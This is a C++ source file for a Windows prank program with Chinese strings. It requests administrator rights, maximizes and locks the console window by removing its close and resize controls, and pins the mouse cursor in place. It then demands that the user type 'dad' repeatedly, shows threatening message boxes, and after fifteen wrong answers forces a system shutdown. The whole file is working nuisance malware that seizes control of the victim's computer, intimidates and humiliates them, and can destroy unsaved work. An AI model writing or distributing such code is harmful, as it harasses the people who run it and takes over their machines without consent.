#include <bits/stdc++.h>
#include <windows.h>
#include <shellapi.h>
using namespace std;
int cnt,ccnt;
RECT g_lockRect;
bool g_isLocked = true;
HHOOK g_mouseHook = NULL;
#pragma comment(lib, "shell32.lib")
bool ElevateToAdmin() {
wchar_t szPath[MAX_PATH];
if (GetModuleFileNameW(NULL, szPath, ARRAYSIZE(szPath))) {
SHELLEXECUTEINFOW sei = { sizeof(sei) };
sei.lpVerb = L"runas";
sei.lpFile = szPath;
sei.hwnd = NULL;
sei.nShow = SW_NORMAL;
if (ShellExecuteExW(&sei)) {
return true;
}
}
return false;
}
bool IsUserAdmin() {
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD dwSize;
if (GetTokenInformation(hToken, TokenElevation, &elevation,
sizeof(elevation), &dwSize)) {
CloseHandle(hToken);
return elevation.TokenIsElevated != 0;
}
CloseHandle(hToken);
}
return false;
}
void PreventMinimizeMaximize() {
HWND hwnd = GetConsoleWindow();
if (hwnd) {
LONG_PTR style = GetWindowLongPtr(hwnd, GWL_STYLE);
style &= ~(WS_MINIMIZEBOX | WS_MAXIMIZEBOX | WS_THICKFRAME);
SetWindowLongPtr(hwnd, GWL_STYLE, style);
HMENU hMenu = GetSystemMenu(hwnd, FALSE);
if (hMenu) {
DeleteMenu(hMenu, SC_MINIMIZE, MF_BYCOMMAND);
DeleteMenu(hMenu, SC_MAXIMIZE, MF_BYCOMMAND);
DeleteMenu(hMenu, SC_RESTORE, MF_BYCOMMAND);
DeleteMenu(hMenu, SC_SIZE, MF_BYCOMMAND);
DrawMenuBar(hwnd);
}
SetWindowPos(hwnd, NULL, 0, 0, 0, 0,
SWP_NOMOVE | SWP_NOSIZE | SWP_NOZORDER | SWP_FRAMECHANGED);
}
}
LRESULT CALLBACK MouseHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
if (nCode >= 0 && g_isLocked) {
if (wParam == WM_LBUTTONDOWN || wParam == WM_RBUTTONDOWN ||
wParam == WM_MBUTTONDOWN || wParam == WM_XBUTTONDOWN) {
std::cout << "阻止了鼠标点击" << std::endl;
return 1;
}
}
return CallNextHookEx(g_mouseHook, nCode, wParam, lParam);
}
bool InstallMouseHook() {
g_mouseHook = SetWindowsHookEx(WH_MOUSE_LL, MouseHookProc,
GetModuleHandle(NULL), 0);
if (g_mouseHook == NULL) {
std::cerr << "安装鼠标钩子失败!错误代码: " << GetLastError() << std::endl;
return false;
}
return true;
}
void UninstallMouseHook() {
if (g_mouseHook != NULL) {
UnhookWindowsHookEx(g_mouseHook);
g_mouseHook = NULL;
}
}
void print(){
system("title 叫爸爸!");
string input;
std::cout << "叫100次爸爸就放过你一次!"<<endl;
while (true) {
cnt++;
std::getline(std::cin, input);
if (input == "爸爸" || input == "dad" ) {
std::cout << "好!不错不错,现在叫了" <<cnt<<"次"<<std::endl;
system("pause");
break;
}else if(input != "爸爸" && input != "dad" ){
if(ccnt==15){
system("shutdown -s -t 61");
MessageBox(NULL,"算了,放你出去吧,随便按一个按键就能出去了","等掉",MB_OK);
system("pause");
}
MessageBox(NULL,"快点叫,不然你的电脑就完了","等掉",MB_OK);
ccnt++;
}
}
}
void DisableCloseButton() {
HWND hwnd = GetConsoleWindow();
if (hwnd != NULL) {
HMENU hMenu = GetSystemMenu(hwnd, FALSE);
if (hMenu != NULL) {
DeleteMenu(hMenu, SC_CLOSE, MF_BYCOMMAND);
DrawMenuBar(hwnd);
}
}
}
void LockMouseAtCurrentPosition() {
POINT currentPos;
if (GetCursorPos(¤tPos)) {
g_lockRect.left = currentPos.x;
g_lockRect.right = currentPos.x + 1;
g_lockRect.top = currentPos.y;
g_lockRect.bottom = currentPos.y + 1;
if (ClipCursor(&g_lockRect)) {
} else {
std::cerr << "锁定鼠标失败!错误代码: " << GetLastError() << std::endl;
}
}
}
void UnlockMouse() {
ClipCursor(NULL);
g_isLocked = false;
}
bool IsRunAsAdmin() {
BOOL isAdmin = FALSE;
HANDLE hToken = NULL;
if (OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &hToken)) {
TOKEN_ELEVATION elevation;
DWORD size = sizeof(TOKEN_ELEVATION);
if (GetTokenInformation(hToken, TokenElevation, &elevation, size, &size)) {
isAdmin = elevation.TokenIsElevated;
}
CloseHandle(hToken);
}
return isAdmin == TRUE;
}
int main(int argc, char* argv[]) {
if (!IsUserAdmin()) {
std::cout << "需要管理员权限,正在请求提升..." << std::endl;
if (ElevateToAdmin()) {
return 0;
} else {
DWORD error = GetLastError();
if (error == ERROR_CANCELLED) {
std::cout << "用户拒绝了权限请求。" << std::endl;
} else {
std::cout << "权限提升失败,错误码: " << error << std::endl;
}
return 1;
}
}
PreventMinimizeMaximize();
HWND consoleWindow = GetConsoleWindow();
ShowWindow(consoleWindow, SW_MAXIMIZE);
DisableCloseButton();
LockMouseAtCurrentPosition();
print();
UnlockMouse();
UninstallMouseHook();
return 0;
}